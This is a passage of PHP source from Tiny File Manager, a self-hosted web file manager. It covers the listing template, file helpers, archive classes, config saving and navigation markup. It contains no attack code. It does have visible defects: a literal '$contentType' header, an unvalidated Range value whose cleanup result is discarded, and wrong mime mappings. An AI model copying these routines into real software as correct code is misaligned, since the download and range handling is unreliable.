<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) && empty($files)) {
?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td>
</tr>
</tfoot>
<?php
} else {
?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td class="gray"></td><?php endif; ?>
<td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>">
<?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?>
<?php echo lng('MemoryUsed').': <span class="badge badge-light">'.fm_get_filesize(@memory_get_usage(true)).'</span>' ?>
<?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?>
</td>
</tr>
</tfoot>
<?php
}
?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('Delete selected files and folders?')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('Create archive?')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('Create archive?')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
//--- END
// Functions
/**
* Check if the filename is allowed.
* @param string $filename
* @return bool
*/
function fm_is_file_allowed($filename)
{
// By default, no file is allowed
$allowed = false;
if (FM_EXTENSION) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
$allowed = true;
}
}
return $allowed;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
/**
* Recursive chmod
* @param string $path
* @param int $filemode
* @param int $dirmode
* @return bool
* @todo Will use in mass chmod
*/
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
/**
* Check the file extension which is allowed or not
* @param string $filename
* @return bool
*/
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
/**
* Safely rename
* @param string $old
* @param string $new
* @return bool|null
*/
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!$isFileAllowed) return false;
return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}
/**
* Copy file or folder (recursively).
* @param string $path
* @param string $dest
* @param bool $upd Update files
* @param bool $force Create folder with same names instead file
* @return bool
*/
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
/**
* Safely create folder
* @param string $dir
* @param bool $force
* @return bool
*/
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
/**
* Safely copy file
* @param string $f1
* @param string $f2
* @param bool $upd Indicates if file should be updated with new content
* @return bool
*/
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
/**
* Path traversal prevention and clean the url
* It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
* @param $path
* @return string
*/
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
/**
* Check file is in exclude list
* @param string $file
* @return bool
*/
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) {
return true;
}
return false;
}
/**
* get language translations from json file
* @param int $tr
* @return array
*/
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
/**
* @param $file
* Recover all file sizes larger than > 2GB.
* Works on php 32bits and 64bits and supports linux
* @return int|string
*/
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin && class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
/**
* Get nice filesize
* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = $size > 0 ? floor(log($size, 1024)) : 0;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
/**
* Get director total size
* @param string $directory
* @return int
*/
function fm_get_directorysize($directory) {
global $calc_folder;
if ($calc_folder==true) { // Slower output
$size = 0; $count= 0; $dirCount= 0;
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
if ($file->isFile())
{ $size+=$file->getSize();
$count++;
}
else if ($file->isDir()) { $dirCount++; }
// return [$size, $count, $dirCount];
return $size;
}
else return 'Folder'; // Quick output
}
/**
* Get info about zip archive
* @param string $path
* @return array|bool
*/
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' && function_exists('zip_open')) {
$arch = zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = zip_read($arch)) {
$zip_name = zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => zip_entry_filesize($zip_entry),
'compressed_size' => zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
//'compression_method' => zip_entry_compressionmethod($zip_entry),
);
}
zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' && class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("phar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
/**
* Prevent XSS attacks
* @param string $text
* @return string
*/
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[FM_SESSION_ID]['message'] = $msg;
$_SESSION[FM_SESSION_ID]['status'] = $status;
}
/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (FM_IS_WIN && function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
/**
* @param $obj
* @return array
*/
function fm_object_to_array($obj)
{
if (!is_object($obj) && !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'zip':
case 'rar':
case 'gz':
case 'tar':
case '7z':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg');
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
);
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
);
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
/**
* Get online docs viewer supported files extensions
* @return array
*/
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
return $fileTypes[$extension];
}
/**
* This function scans the files and folder recursively, and return matching files
* @param string $dir
* @param string $filter
* @return json
*/
function scan($dir, $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($dir) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
header("Cache-Control: public");
header("Content-Transfer-Encoding: binary\n");
header('Content-Type: $contentType');
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
$size = filesize($fileLocation);
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
if ($size == 0) {
die('Zero byte file! Aborting download');
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
fseek($fp, $range);
while (!feof($fp) and (connection_status() == 0)) {
set_time_limit(0);
print(@fread($fp, 1024*$chunkSize));
flush();
ob_flush();
sleep(1);
}
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Class to work with Tar files (using PharData)
*/
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Save Configuration
*/
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'Tiny File Manager<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) && count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
//--- templates functions
/**
* Show nav block
* @param string $path
*/
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>';
?>
<div class="col-xs-6 col-sm-7 text-right">
<ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal">Advanced Search</a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
